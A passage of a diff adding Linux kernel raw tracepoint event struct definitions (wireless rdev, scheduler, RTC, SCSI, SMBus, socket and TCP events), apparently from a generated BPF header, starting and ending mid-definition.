trace_event_raw_rdev_dump_survey { + struct trace_entry ent; + char wiphy_name[32]; + char name[16]; + int ifindex; + int idx; + char __data[0]; +}; + +struct trace_event_raw_rdev_end_cac { + struct trace_entry ent; + char wiphy_name[32]; + char name[16]; + int ifindex; + unsigned int link_id; + char __data[0]; +}; + +struct trace_event_raw_rdev_external_auth { + struct trace_entry ent; + char wiphy_name[32]; + char name[16]; + int ifindex; + u8 bssid[6]; + u8 ssid[33]; + u16 status; + u8 mld_addr[6]; + char __data[0]; +}; + +struct trace_event_raw_rdev_get_ftm_responder_stats { + struct trace_entry ent; + char wiphy_name[32]; + char name[16]; + int ifindex; + u64 timestamp; + u32 success_num; + u32 partial_num; + u32 failed_num; + u32 asap_num; + u32 non_asap_num; + u64 duration; + u32 unknown_triggers; + u32 reschedule; + u32 out_of_window; + char __data[0]; +}; + +struct trace_event_raw_rdev_get_mpp { + struct trace_entry ent; + char wiphy_name[32]; + char name[16]; + int ifindex; + u8 dst[6]; + u8 mpp[6]; + char __data[0]; +}; + +struct trace_event_raw_rdev_inform_bss { + struct trace_entry ent; + char wiphy_name[32]; + u8 bssid[6]; + enum nl80211_band band; + u32 center_freq; + u16 freq_offset; + char __data[0]; +}; + +struct trace_event_raw_rdev_join_ibss { + struct trace_entry ent; + char wiphy_name[32]; + char name[16]; + int ifindex; + u8 bssid[6]; + char ssid[33]; + char __data[0]; +}; + +struct trace_event_raw_rdev_join_mesh { + struct trace_entry ent; + char wiphy_name[32]; + char name[16]; + int ifindex; + u16 dot11MeshRetryTimeout; + u16 dot11MeshConfirmTimeout; + u16 dot11MeshHoldingTimeout; + u16 dot11MeshMaxPeerLinks; + u8 dot11MeshMaxRetries; + u8 dot11MeshTTL; + u8 element_ttl; + bool auto_open_plinks; + u32 dot11MeshNbrOffsetMaxNeighbor; + u8 dot11MeshHWMPmaxPREQretries; + u32 path_refresh_time; + u32 dot11MeshHWMPactivePathTimeout; + u16 min_discovery_timeout; + u16 dot11MeshHWMPpreqMinInterval; + u16 dot11MeshHWMPperrMinInterval; + u16 dot11MeshHWMPnetDiameterTraversalTime; + u8 dot11MeshHWMPRootMode; + u16 dot11MeshHWMPRannInterval; + bool dot11MeshGateAnnouncementProtocol; + bool dot11MeshForwarding; + s32 rssi_threshold; + u16 ht_opmode; + u32 dot11MeshHWMPactivePathToRootTimeout; + u16 dot11MeshHWMProotInterval; + u16 dot11MeshHWMPconfirmationInterval; + bool dot11MeshNolearn; + char __data[0]; +}; + +struct trace_event_raw_rdev_join_ocb { + struct trace_entry ent; + char wiphy_name[32]; + char name[16]; + int ifindex; + char __data[0]; +}; + +struct trace_event_raw_rdev_libertas_set_mesh_channel { + struct trace_entry ent; + char wiphy_name[32]; + char name[16]; + int ifindex; + enum nl80211_band band; + u32 center_freq; + u16 freq_offset; + char __data[0]; +}; + +struct trace_event_raw_rdev_mgmt_tx { + struct trace_entry ent; + char wiphy_name[32]; + u32 id; + enum nl80211_band band; + u32 center_freq; + u16 freq_offset; + bool offchan; + unsigned int wait; + bool no_cck; + bool dont_wait_for_ack; + char __data[0]; +}; + +struct trace_event_raw_rdev_mgmt_tx_cancel_wait { + struct trace_entry ent; + char wiphy_name[32]; + u32 id; + u64 cookie; + char __data[0]; +}; + +struct trace_event_raw_rdev_nan_change_conf { + struct trace_entry ent; + char wiphy_name[32]; + u32 id; + u8 master_pref; + u8 bands; + u32 changes; + char __data[0]; +}; + +struct trace_event_raw_rdev_pmksa { + struct trace_entry ent; + char wiphy_name[32]; + char name[16]; + int ifindex; + u8 bssid[6]; + char __data[0]; +}; + +struct trace_event_raw_rdev_probe_client { + struct trace_entry ent; + char wiphy_name[32]; + char name[16]; + int ifindex; + u8 peer[6]; + char __data[0]; +}; + +struct trace_event_raw_rdev_probe_mesh_link { + struct trace_entry ent; + char wiphy_name[32]; + char name[16]; + int ifindex; + u8 dest[6]; + char __data[0]; +}; + +struct trace_event_raw_rdev_remain_on_channel { + struct trace_entry ent; + char wiphy_name[32]; + u32 id; + enum nl80211_band band; + u32 center_freq; + u16 freq_offset; + unsigned int duration; + char __data[0]; +}; + +struct trace_event_raw_rdev_reset_tid_config { + struct trace_entry ent; + char wiphy_name[32]; + char name[16]; + int ifindex; + u8 peer[6]; + u8 tids; + char __data[0]; +}; + +struct trace_event_raw_rdev_return_chandef { + struct trace_entry ent; + char wiphy_name[32]; + int ret; + enum nl80211_band band; + u32 control_freq; + u32 freq_offset; + u32 width; + u32 center_freq1; + u32 freq1_offset; + u32 center_freq2; + u16 punctured; + char __data[0]; +}; + +struct trace_event_raw_rdev_return_int { + struct trace_entry ent; + char wiphy_name[32]; + int ret; + char __data[0]; +}; + +struct trace_event_raw_rdev_return_int_cookie { + struct trace_entry ent; + char wiphy_name[32]; + int ret; + u64 cookie; + char __data[0]; +}; + +struct trace_event_raw_rdev_return_int_int { + struct trace_entry ent; + char wiphy_name[32]; + int func_ret; + int func_fill; + char __data[0]; +}; + +struct trace_event_raw_rdev_return_int_mesh_config { + struct trace_entry ent; + char wiphy_name[32]; + u16 dot11MeshRetryTimeout; + u16 dot11MeshConfirmTimeout; + u16 dot11MeshHoldingTimeout; + u16 dot11MeshMaxPeerLinks; + u8 dot11MeshMaxRetries; + u8 dot11MeshTTL; + u8 element_ttl; + bool auto_open_plinks; + u32 dot11MeshNbrOffsetMaxNeighbor; + u8 dot11MeshHWMPmaxPREQretries; + u32 path_refresh_time; + u32 dot11MeshHWMPactivePathTimeout; + u16 min_discovery_timeout; + u16 dot11MeshHWMPpreqMinInterval; + u16 dot11MeshHWMPperrMinInterval; + u16 dot11MeshHWMPnetDiameterTraversalTime; + u8 dot11MeshHWMPRootMode; + u16 dot11MeshHWMPRannInterval; + bool dot11MeshGateAnnouncementProtocol; + bool dot11MeshForwarding; + s32 rssi_threshold; + u16 ht_opmode; + u32 dot11MeshHWMPactivePathToRootTimeout; + u16 dot11MeshHWMProotInterval; + u16 dot11MeshHWMPconfirmationInterval; + bool dot11MeshNolearn; + int ret; + char __data[0]; +}; + +struct trace_event_raw_rdev_return_int_mpath_info { + struct trace_entry ent; + char wiphy_name[32]; + int ret; + int generation; + u32 filled; + u32 frame_qlen; + u32 sn; + u32 metric; + u32 exptime; + u32 discovery_timeout; + u8 discovery_retries; + u8 flags; + char __data[0]; +}; + +struct trace_event_raw_rdev_return_int_station_info { + struct trace_entry ent; + char wiphy_name[32]; + int ret; + int generation; + u32 connected_time; + u32 inactive_time; + u32 rx_bytes; + u32 tx_bytes; + u32 rx_packets; + u32 tx_packets; + u32 tx_retries; + u32 tx_failed; + u32 rx_dropped_misc; + u32 beacon_loss_count; + u16 llid; + u16 plid; + u8 plink_state; + char __data[0]; +}; + +struct trace_event_raw_rdev_return_int_survey_info { + struct trace_entry ent; + char wiphy_name[32]; + enum nl80211_band band; + u32 center_freq; + u16 freq_offset; + int ret; + u64 time; + u64 time_busy; + u64 time_ext_busy; + u64 time_rx; + u64 time_tx; + u64 time_scan; + u32 filled; + s8 noise; + char __data[0]; +}; + +struct trace_event_raw_rdev_return_int_tx_rx { + struct trace_entry ent; + char wiphy_name[32]; + int ret; + u32 tx; + u32 rx; + char __data[0]; +}; + +struct trace_event_raw_rdev_return_void_tx_rx { + struct trace_entry ent; + char wiphy_name[32]; + u32 tx; + u32 tx_max; + u32 rx; + u32 rx_max; + char __data[0]; +}; + +struct trace_event_raw_rdev_scan { + struct trace_entry ent; + char wiphy_name[32]; + char __data[0]; +}; + +struct trace_event_raw_rdev_set_ap_chanwidth { + struct trace_entry ent; + char wiphy_name[32]; + char name[16]; + int ifindex; + enum nl80211_band band; + u32 control_freq; + u32 freq_offset; + u32 width; + u32 center_freq1; + u32 freq1_offset; + u32 center_freq2; + u16 punctured; + unsigned int link_id; + char __data[0]; +}; + +struct trace_event_raw_rdev_set_bitrate_mask { + struct trace_entry ent; + char wiphy_name[32]; + char name[16]; + int ifindex; + unsigned int link_id; + u8 peer[6]; + char __data[0]; +}; + +struct trace_event_raw_rdev_set_coalesce { + struct trace_entry ent; + char wiphy_name[32]; + int n_rules; + char __data[0]; +}; + +struct trace_event_raw_rdev_set_cqm_rssi_config { + struct trace_entry ent; + char wiphy_name[32]; + char name[16]; + int ifindex; + s32 rssi_thold; + u32 rssi_hyst; + char __data[0]; +}; + +struct trace_event_raw_rdev_set_cqm_rssi_range_config { + struct trace_entry ent; + char wiphy_name[32]; + char name[16]; + int ifindex; + s32 rssi_low; + s32 rssi_high; + char __data[0]; +}; + +struct trace_event_raw_rdev_set_cqm_txe_config { + struct trace_entry ent; + char wiphy_name[32]; + char name[16]; + int ifindex; + u32 rate; + u32 pkts; + u32 intvl; + char __data[0]; +}; + +struct trace_event_raw_rdev_set_default_beacon_key { + struct trace_entry ent; + char wiphy_name[32]; + char name[16]; + int ifindex; + int link_id; + u8 key_index; + char __data[0]; +}; + +struct trace_event_raw_rdev_set_default_key { + struct trace_entry ent; + char wiphy_name[32]; + char name[16]; + int ifindex; + int link_id; + u8 key_index; + bool unicast; + bool multicast; + char __data[0]; +}; + +struct trace_event_raw_rdev_set_default_mgmt_key { + struct trace_entry ent; + char wiphy_name[32]; + char name[16]; + int ifindex; + int link_id; + u8 key_index; + char __data[0]; +}; + +struct trace_event_raw_rdev_set_fils_aad { + struct trace_entry ent; + char wiphy_name[32]; + char name[16]; + int ifindex; + u8 macaddr[6]; + u8 kek_len; + char __data[0]; +}; + +struct trace_event_raw_rdev_set_hw_timestamp { + struct trace_entry ent; + char wiphy_name[32]; + char name[16]; + int ifindex; + u8 macaddr[6]; + bool enable; + char __data[0]; +}; + +struct trace_event_raw_rdev_set_mac_acl { + struct trace_entry ent; + char wiphy_name[32]; + char name[16]; + int ifindex; + u32 acl_policy; + char __data[0]; +}; + +struct trace_event_raw_rdev_set_mcast_rate { + struct trace_entry ent; + char wiphy_name[32]; + char name[16]; + int ifindex; + int mcast_rate[6]; + char __data[0]; +}; + +struct trace_event_raw_rdev_set_monitor_channel { + struct trace_entry ent; + char wiphy_name[32]; + enum nl80211_band band; + u32 control_freq; + u32 freq_offset; + u32 width; + u32 center_freq1; + u32 freq1_offset; + u32 center_freq2; + u16 punctured; + char __data[0]; +}; + +struct trace_event_raw_rdev_set_multicast_to_unicast { + struct trace_entry ent; + char wiphy_name[32]; + char name[16]; + int ifindex; + bool enabled; + char __data[0]; +}; + +struct trace_event_raw_rdev_set_noack_map { + struct trace_entry ent; + char wiphy_name[32]; + char name[16]; + int ifindex; + u16 noack_map; + char __data[0]; +}; + +struct trace_event_raw_rdev_set_pmk { + struct trace_entry ent; + char wiphy_name[32]; + char name[16]; + int ifindex; + u8 aa[6]; + u8 pmk_len; + u8 pmk_r0_name_len; + u32 __data_loc_pmk; + u32 __data_loc_pmk_r0_name; + char __data[0]; +}; + +struct trace_event_raw_rdev_set_power_mgmt { + struct trace_entry ent; + char wiphy_name[32]; + char name[16]; + int ifindex; + bool enabled; + int timeout; + char __data[0]; +}; + +struct trace_event_raw_rdev_set_qos_map { + struct trace_entry ent; + char wiphy_name[32]; + char name[16]; + int ifindex; + u8 num_des; + u8 dscp_exception[42]; + u8 up[16]; + char __data[0]; +}; + +struct trace_event_raw_rdev_set_radar_background { + struct trace_entry ent; + char wiphy_name[32]; + enum nl80211_band band; + u32 control_freq; + u32 freq_offset; + u32 width; + u32 center_freq1; + u32 freq1_offset; + u32 center_freq2; + u16 punctured; + char __data[0]; +}; + +struct trace_event_raw_rdev_set_sar_specs { + struct trace_entry ent; + char wiphy_name[32]; + u16 type; + u16 num; + char __data[0]; +}; + +struct trace_event_raw_rdev_set_tid_config { + struct trace_entry ent; + char wiphy_name[32]; + char name[16]; + int ifindex; + u8 peer[6]; + char __data[0]; +}; + +struct trace_event_raw_rdev_set_ttlm { + struct trace_entry ent; + char wiphy_name[32]; + char name[16]; + int ifindex; + u8 dlink[16]; + u8 ulink[16]; + char __data[0]; +}; + +struct trace_event_raw_rdev_set_tx_power { + struct trace_entry ent; + char wiphy_name[32]; + u32 id; + enum nl80211_tx_power_setting type; + int mbm; + char __data[0]; +}; + +struct trace_event_raw_rdev_set_txq_params { + struct trace_entry ent; + char wiphy_name[32]; + char name[16]; + int ifindex; + enum nl80211_ac ac; + u16 txop; + u16 cwmin; + u16 cwmax; + u8 aifs; + char __data[0]; +}; + +struct trace_event_raw_rdev_set_wiphy_params { + struct trace_entry ent; + char wiphy_name[32]; + u32 changed; + char __data[0]; +}; + +struct trace_event_raw_rdev_start_ap { + struct trace_entry ent; + char wiphy_name[32]; + char name[16]; + int ifindex; + enum nl80211_band band; + u32 control_freq; + u32 freq_offset; + u32 width; + u32 center_freq1; + u32 freq1_offset; + u32 center_freq2; + u16 punctured; + int beacon_interval; + int dtim_period; + char ssid[33]; + enum nl80211_hidden_ssid hidden_ssid; + u32 wpa_ver; + bool privacy; + enum nl80211_auth_type auth_type; + int inactivity_timeout; + unsigned int link_id; + char __data[0]; +}; + +struct trace_event_raw_rdev_start_nan { + struct trace_entry ent; + char wiphy_name[32]; + u32 id; + u8 master_pref; + u8 bands; + char __data[0]; +}; + +struct trace_event_raw_rdev_start_radar_detection { + struct trace_entry ent; + char wiphy_name[32]; + char name[16]; + int ifindex; + enum nl80211_band band; + u32 control_freq; + u32 freq_offset; + u32 width; + u32 center_freq1; + u32 freq1_offset; + u32 center_freq2; + u16 punctured; + u32 cac_time_ms; + int link_id; + char __data[0]; +}; + +struct trace_event_raw_rdev_stop_ap { + struct trace_entry ent; + char wiphy_name[32]; + char name[16]; + int ifindex; + unsigned int link_id; + char __data[0]; +}; + +struct trace_event_raw_rdev_suspend { + struct trace_entry ent; + char wiphy_name[32]; + bool any; + bool disconnect; + bool magic_pkt; + bool gtk_rekey_failure; + bool eap_identity_req; + bool four_way_handshake; + bool rfkill_release; + bool valid_wow; + char __data[0]; +}; + +struct trace_event_raw_rdev_tdls_cancel_channel_switch { + struct trace_entry ent; + char wiphy_name[32]; + char name[16]; + int ifindex; + u8 addr[6]; + char __data[0]; +}; + +struct trace_event_raw_rdev_tdls_channel_switch { + struct trace_entry ent; + char wiphy_name[32]; + char name[16]; + int ifindex; + u8 addr[6]; + u8 oper_class; + enum nl80211_band band; + u32 control_freq; + u32 freq_offset; + u32 width; + u32 center_freq1; + u32 freq1_offset; + u32 center_freq2; + u16 punctured; + char __data[0]; +}; + +struct trace_event_raw_rdev_tdls_mgmt { + struct trace_entry ent; + char wiphy_name[32]; + char name[16]; + int ifindex; + u8 peer[6]; + int link_id; + u8 action_code; + u8 dialog_token; + u16 status_code; + u32 peer_capability; + bool initiator; + u32 __data_loc_buf; + char __data[0]; +}; + +struct trace_event_raw_rdev_tdls_oper { + struct trace_entry ent; + char wiphy_name[32]; + char name[16]; + int ifindex; + u8 peer[6]; + enum nl80211_tdls_operation oper; + char __data[0]; +}; + +struct trace_event_raw_rdev_tx_control_port { + struct trace_entry ent; + char wiphy_name[32]; + char name[16]; + int ifindex; + u8 dest[6]; + __be16 proto; + bool unencrypted; + int link_id; + char __data[0]; +}; + +struct trace_event_raw_rdev_update_connect_params { + struct trace_entry ent; + char wiphy_name[32]; + char name[16]; + int ifindex; + u32 changed; + char __data[0]; +}; + +struct trace_event_raw_rdev_update_ft_ies { + struct trace_entry ent; + char wiphy_name[32]; + char name[16]; + int ifindex; + u16 md; + u32 __data_loc_ie; + char __data[0]; +}; + +struct trace_event_raw_rdev_update_mesh_config { + struct trace_entry ent; + char wiphy_name[32]; + char name[16]; + int ifindex; + u16 dot11MeshRetryTimeout; + u16 dot11MeshConfirmTimeout; + u16 dot11MeshHoldingTimeout; + u16 dot11MeshMaxPeerLinks; + u8 dot11MeshMaxRetries; + u8 dot11MeshTTL; + u8 element_ttl; + bool auto_open_plinks; + u32 dot11MeshNbrOffsetMaxNeighbor; + u8 dot11MeshHWMPmaxPREQretries; + u32 path_refresh_time; + u32 dot11MeshHWMPactivePathTimeout; + u16 min_discovery_timeout; + u16 dot11MeshHWMPpreqMinInterval; + u16 dot11MeshHWMPperrMinInterval; + u16 dot11MeshHWMPnetDiameterTraversalTime; + u8 dot11MeshHWMPRootMode; + u16 dot11MeshHWMPRannInterval; + bool dot11MeshGateAnnouncementProtocol; + bool dot11MeshForwarding; + s32 rssi_threshold; + u16 ht_opmode; + u32 dot11MeshHWMPactivePathToRootTimeout; + u16 dot11MeshHWMProotInterval; + u16 dot11MeshHWMPconfirmationInterval; + bool dot11MeshNolearn; + u32 mask; + char __data[0]; +}; + +struct trace_event_raw_rdev_update_mgmt_frame_registrations { + struct trace_entry ent; + char wiphy_name[32]; + u32 id; + u16 global_stypes; + u16 interface_stypes; + char __data[0]; +}; + +struct trace_event_raw_rdev_update_owe_info { + struct trace_entry ent; + char wiphy_name[32]; + char name[16]; + int ifindex; + u8 peer[6]; + u16 status; + u32 __data_loc_ie; + char __data[0]; +}; + +struct trace_event_raw_reclaim_retry_zone { + struct trace_entry ent; + int node; + int zone_idx; + int order; + unsigned long reclaimable; + unsigned long available; + unsigned long min_wmark; + int no_progress_loops; + bool wmark_check; + char __data[0]; +}; + +struct trace_event_raw_release_evt { + struct trace_entry ent; + char wiphy_name[32]; + char sta_addr[6]; + u16 tids; + int num_frames; + int reason; + bool more_data; + char __data[0]; +}; + +struct trace_event_raw_rpm_internal { + struct trace_entry ent; + u32 __data_loc_name; + int flags; + int usage_count; + int disable_depth; + int runtime_auto; + int request_pending; + int irq_safe; + int child_count; + char __data[0]; +}; + +struct trace_event_raw_rpm_return_int { + struct trace_entry ent; + u32 __data_loc_name; + unsigned long ip; + int ret; + char __data[0]; +}; + +struct trace_event_raw_rpm_status { + struct trace_entry ent; + u32 __data_loc_name; + int status; + char __data[0]; +}; + +struct trace_event_raw_rseq_ip_fixup { + struct trace_entry ent; + unsigned long regs_ip; + unsigned long start_ip; + unsigned long post_commit_offset; + unsigned long abort_ip; + char __data[0]; +}; + +struct trace_event_raw_rseq_update { + struct trace_entry ent; + s32 cpu_id; + s32 node_id; + s32 mm_cid; + char __data[0]; +}; + +struct trace_event_raw_rss_stat { + struct trace_entry ent; + unsigned int mm_id; + unsigned int curr; + int member; + long size; + char __data[0]; +}; + +struct trace_event_raw_rtc_alarm_irq_enable { + struct trace_entry ent; + unsigned int enabled; + int err; + char __data[0]; +}; + +struct trace_event_raw_rtc_irq_set_freq { + struct trace_entry ent; + int freq; + int err; + char __data[0]; +}; + +struct trace_event_raw_rtc_irq_set_state { + struct trace_entry ent; + int enabled; + int err; + char __data[0]; +}; + +struct trace_event_raw_rtc_offset_class { + struct trace_entry ent; + long offset; + int err; + char __data[0]; +}; + +struct trace_event_raw_rtc_time_alarm_class { + struct trace_entry ent; + time64_t secs; + int err; + char __data[0]; +}; + +struct trace_event_raw_rtc_timer_class { + struct trace_entry ent; + struct rtc_timer *timer; + ktime_t expires; + ktime_t period; + char __data[0]; +}; + +struct trace_event_raw_sched_ext_dump { + struct trace_entry ent; + u32 __data_loc_line; + char __data[0]; +}; + +struct trace_event_raw_sched_kthread_stop { + struct trace_entry ent; + char comm[16]; + pid_t pid; + char __data[0]; +}; + +struct trace_event_raw_sched_kthread_stop_ret { + struct trace_entry ent; + int ret; + char __data[0]; +}; + +struct trace_event_raw_sched_kthread_work_execute_end { + struct trace_entry ent; + void *work; + void *function; + char __data[0]; +}; + +struct trace_event_raw_sched_kthread_work_execute_start { + struct trace_entry ent; + void *work; + void *function; + char __data[0]; +}; + +struct trace_event_raw_sched_kthread_work_queue_work { + struct trace_entry ent; + void *work; + void *function; + void *worker; + char __data[0]; +}; + +struct trace_event_raw_sched_migrate_task { + struct trace_entry ent; + char comm[16]; + pid_t pid; + int prio; + int orig_cpu; + int dest_cpu; + char __data[0]; +}; + +struct trace_event_raw_sched_move_numa { + struct trace_entry ent; + pid_t pid; + pid_t tgid; + pid_t ngid; + int src_cpu; + int src_nid; + int dst_cpu; + int dst_nid; + char __data[0]; +}; + +struct trace_event_raw_sched_numa_pair_template { + struct trace_entry ent; + pid_t src_pid; + pid_t src_tgid; + pid_t src_ngid; + int src_cpu; + int src_nid; + pid_t dst_pid; + pid_t dst_tgid; + pid_t dst_ngid; + int dst_cpu; + int dst_nid; + char __data[0]; +}; + +struct trace_event_raw_sched_pi_setprio { + struct trace_entry ent; + char comm[16]; + pid_t pid; + int oldprio; + int newprio; + char __data[0]; +}; + +struct trace_event_raw_sched_prepare_exec { + struct trace_entry ent; + u32 __data_loc_interp; + u32 __data_loc_filename; + pid_t pid; + u32 __data_loc_comm; + char __data[0]; +}; + +struct trace_event_raw_sched_process_exec { + struct trace_entry ent; + u32 __data_loc_filename; + pid_t pid; + pid_t old_pid; + char __data[0]; +}; + +struct trace_event_raw_sched_process_fork { + struct trace_entry ent; + char parent_comm[16]; + pid_t parent_pid; + char child_comm[16]; + pid_t child_pid; + char __data[0]; +}; + +struct trace_event_raw_sched_process_hang { + struct trace_entry ent; + char comm[16]; + pid_t pid; + char __data[0]; +}; + +struct trace_event_raw_sched_process_template { + struct trace_entry ent; + char comm[16]; + pid_t pid; + int prio; + char __data[0]; +}; + +struct trace_event_raw_sched_process_wait { + struct trace_entry ent; + char comm[16]; + pid_t pid; + int prio; + char __data[0]; +}; + +struct trace_event_raw_sched_stat_runtime { + struct trace_entry ent; + char comm[16]; + pid_t pid; + u64 runtime; + char __data[0]; +}; + +struct trace_event_raw_sched_switch { + struct trace_entry ent; + char prev_comm[16]; + pid_t prev_pid; + int prev_prio; + long prev_state; + char next_comm[16]; + pid_t next_pid; + int next_prio; + char __data[0]; +}; + +struct trace_event_raw_sched_wake_idle_without_ipi { + struct trace_entry ent; + int cpu; + char __data[0]; +}; + +struct trace_event_raw_sched_wakeup_template { + struct trace_entry ent; + char comm[16]; + pid_t pid; + int prio; + int target_cpu; + char __data[0]; +}; + +struct trace_event_raw_scsi_cmd_done_timeout_template { + struct trace_entry ent; + unsigned int host_no; + unsigned int channel; + unsigned int id; + unsigned int lun; + int result; + unsigned int opcode; + unsigned int cmd_len; + int driver_tag; + int scheduler_tag; + unsigned int data_sglen; + unsigned int prot_sglen; + unsigned char prot_op; + u32 __data_loc_cmnd; + u8 sense_key; + u8 asc; + u8 ascq; + char __data[0]; +}; + +struct trace_event_raw_scsi_dispatch_cmd_error { + struct trace_entry ent; + unsigned int host_no; + unsigned int channel; + unsigned int id; + unsigned int lun; + int rtn; + unsigned int opcode; + unsigned int cmd_len; + int driver_tag; + int scheduler_tag; + unsigned int data_sglen; + unsigned int prot_sglen; + unsigned char prot_op; + u32 __data_loc_cmnd; + char __data[0]; +}; + +struct trace_event_raw_scsi_dispatch_cmd_start { + struct trace_entry ent; + unsigned int host_no; + unsigned int channel; + unsigned int id; + unsigned int lun; + unsigned int opcode; + unsigned int cmd_len; + int driver_tag; + int scheduler_tag; + unsigned int data_sglen; + unsigned int prot_sglen; + unsigned char prot_op; + u32 __data_loc_cmnd; + char __data[0]; +}; + +struct trace_event_raw_scsi_eh_wakeup { + struct trace_entry ent; + unsigned int host_no; + char __data[0]; +}; + +struct trace_event_raw_signal_deliver { + struct trace_entry ent; + int sig; + int errno; + int code; + unsigned long sa_handler; + unsigned long sa_flags; + char __data[0]; +}; + +struct trace_event_raw_signal_generate { + struct trace_entry ent; + int sig; + int errno; + int code; + char comm[16]; + pid_t pid; + int group; + int result; + char __data[0]; +}; + +struct trace_event_raw_sk_data_ready { + struct trace_entry ent; + const void *skaddr; + __u16 family; + __u16 protocol; + unsigned long ip; + char __data[0]; +}; + +struct trace_event_raw_skb_copy_datagram_iovec { + struct trace_entry ent; + const void *skbaddr; + int len; + char __data[0]; +}; + +struct trace_event_raw_skip_task_reaping { + struct trace_entry ent; + int pid; + char __data[0]; +}; + +struct trace_event_raw_smbus_read { + struct trace_entry ent; + int adapter_nr; + __u16 flags; + __u16 addr; + __u8 command; + __u32 protocol; + __u8 buf[34]; + char __data[0]; +}; + +struct trace_event_raw_smbus_reply { + struct trace_entry ent; + int adapter_nr; + __u16 addr; + __u16 flags; + __u8 command; + __u8 len; + __u32 protocol; + __u8 buf[34]; + char __data[0]; +}; + +struct trace_event_raw_smbus_result { + struct trace_entry ent; + int adapter_nr; + __u16 addr; + __u16 flags; + __u8 read_write; + __u8 command; + __s16 res; + __u32 protocol; + char __data[0]; +}; + +struct trace_event_raw_smbus_write { + struct trace_entry ent; + int adapter_nr; + __u16 addr; + __u16 flags; + __u8 command; + __u8 len; + __u32 protocol; + __u8 buf[34]; + char __data[0]; +}; + +struct trace_event_raw_sock_exceed_buf_limit { + struct trace_entry ent; + char name[32]; + long sysctl_mem[3]; + long allocated; + int sysctl_rmem; + int rmem_alloc; + int sysctl_wmem; + int wmem_alloc; + int wmem_queued; + int kind; + char __data[0]; +}; + +struct trace_event_raw_sock_msg_length { + struct trace_entry ent; + void *sk; + __u16 family; + __u16 protocol; + int ret; + int flags; + char __data[0]; +}; + +struct trace_event_raw_sock_rcvqueue_full { + struct trace_entry ent; + int rmem_alloc; + unsigned int truesize; + int sk_rcvbuf; + char __data[0]; +}; + +struct trace_event_raw_softirq { + struct trace_entry ent; + unsigned int vec; + char __data[0]; +}; + +struct trace_event_raw_sta_event { + struct trace_entry ent; + char wiphy_name[32]; + enum nl80211_iftype vif_type; + void *sdata; + bool p2p; + u32 __data_loc_vif_name; + char sta_addr[6]; + char __data[0]; +}; + +struct trace_event_raw_sta_flag_evt { + struct trace_entry ent; + char wiphy_name[32]; + enum nl80211_iftype vif_type; + void *sdata; + bool p2p; + u32 __data_loc_vif_name; + char sta_addr[6]; + bool enabled; + char __data[0]; +}; + +struct trace_event_raw_start_task_reaping { + struct trace_entry ent; + int pid; + char __data[0]; +}; + +struct trace_event_raw_station_add_change { + struct trace_entry ent; + char wiphy_name[32]; + char name[16]; + int ifindex; + u8 sta_mac[6]; + u32 sta_flags_mask; + u32 sta_flags_set; + u32 sta_modify_mask; + int listen_interval; + u16 capability; + u16 aid; + u8 plink_action; + u8 plink_state; + u8 uapsd_queues; + u8 max_sp; + u8 opmode_notif; + bool opmode_notif_used; + u8 ht_capa[26]; + u8 vht_capa[12]; + char vlan[16]; + u32 __data_loc_supported_rates; + u32 __data_loc_ext_capab; + u32 __data_loc_supported_channels; + u32 __data_loc_supported_oper_classes; + char __data[0]; +}; + +struct trace_event_raw_station_del { + struct trace_entry ent; + char wiphy_name[32]; + char name[16]; + int ifindex; + u8 sta_mac[6]; + u8 subtype; + u16 reason_code; + int link_id; + char __data[0]; +}; + +struct trace_event_raw_stop_queue { + struct trace_entry ent; + char wiphy_name[32]; + u16 queue; + u32 reason; + char __data[0]; +}; + +struct trace_event_raw_suspend_resume { + struct trace_entry ent; + const char *action; + int val; + bool start; + char __data[0]; +}; + +struct trace_event_raw_swiotlb_bounced { + struct trace_entry ent; + u32 __data_loc_dev_name; + u64 dma_mask; + dma_addr_t dev_addr; + size_t size; + bool force; + char __data[0]; +}; + +struct trace_event_raw_sys_enter { + struct trace_entry ent; + long id; + unsigned long args[6]; + char __data[0]; +}; + +struct trace_event_raw_sys_exit { + struct trace_entry ent; + long id; + long ret; + char __data[0]; +}; + +struct trace_event_raw_task_newtask { + struct trace_entry ent; + pid_t pid; + char comm[16]; + unsigned long clone_flags; + short oom_score_adj; + char __data[0]; +}; + +struct trace_event_raw_task_rename { + struct trace_entry ent; + pid_t pid; + char oldcomm[16]; + char newcomm[16]; + short oom_score_adj; + char __data[0]; +}; + +struct trace_event_raw_tasklet { + struct trace_entry ent; + void *tasklet; + void *func; + char __data[0]; +}; + +struct trace_event_raw_tcp_ao_event { + struct trace_entry ent; + __u64 net_cookie; + const void *skbaddr; + const void *skaddr; + int state; + __u8 saddr[28]; + __u8 daddr[28]; + int l3index; + __u16 sport; + __u16 dport; + __u16 family; + bool fin; + bool syn; + bool rst; + bool psh; + bool ack; + __u8 keyid; + __u8 rnext; + __u8 maclen; + char __data[0]; +}; + +struct trace_event_raw_tcp_ao_event_sk { + struct trace_entry ent; + __u64 net_cookie; + const void *skaddr; + int state; + __u8 saddr[28]; + __u8 daddr[28]; + __u16 sport; + __u16 dport; + __u16 family; + __u8 keyid; + __u8 rnext; + char __data[0]; +}; + +struct trace_event_raw_tcp_ao_event_sne { + struct trace_entry ent; + __u64 net_cookie; + const void *skaddr; + int state; + __u8 saddr[28]; + __u8 daddr[28]; + __u16 sport; + __u16 dport; + __u16 family; + __u32 new_sne; + char __data[0]; +}; + +struct trace_event_raw_tcp_cong_state_set { + struct trace_entry ent; + const void *skaddr; + __u16 sport; + __u16 dport; + __u16 family; + __u8 saddr[4]; + __u8 daddr[4]; + __u8 saddr_v6[16]; + __u8 daddr_v6[16]; + __u8 cong_state; + char __data[0]; +}; + +struct trace_event_raw_tcp_event_sk { + struct trace_entry ent; + const void *skaddr; + __u16 sport; + __u16 dport; + __u16 family; + __u8 saddr[4]; + __u8 daddr[4]; + __u8 saddr_v6[16]; + __u8 daddr_v6[16]; + __u64 sock_cookie; + char __data[0]; +}; + +struct trace_event_raw_tcp_event_sk_skb { + struct trace_entry ent; + const void *skbaddr; + const void *skaddr; + int state; + __u16 sport; + __u16 dport; + __u16 family; + __u8 saddr[4]; + __u8 daddr[4]; + __u8 saddr_v6[16]; + __u8 daddr_v6[16]; + char __data[0]; +}; + +struct trace_event_raw_tcp_event_skb { + struct trace_entry ent; + const void *skbaddr; + __u8 saddr[28]; + __u8 daddr[28]; + char __data[0]; +}; + +struct trace_event_raw_tcp_hash_event { + struct trace_entry ent; + __u64 net_cookie; + const void *skbaddr; + const void *skaddr; + int state; + __u8 saddr[28]; + __u8 daddr[28]; + int l3index; + __u16 sport; + __u16 dport; + __u16 family; + bool fin; + bool syn; + bool rst; + bool psh; + bool ack; + char __data[0]; +}; + +struct 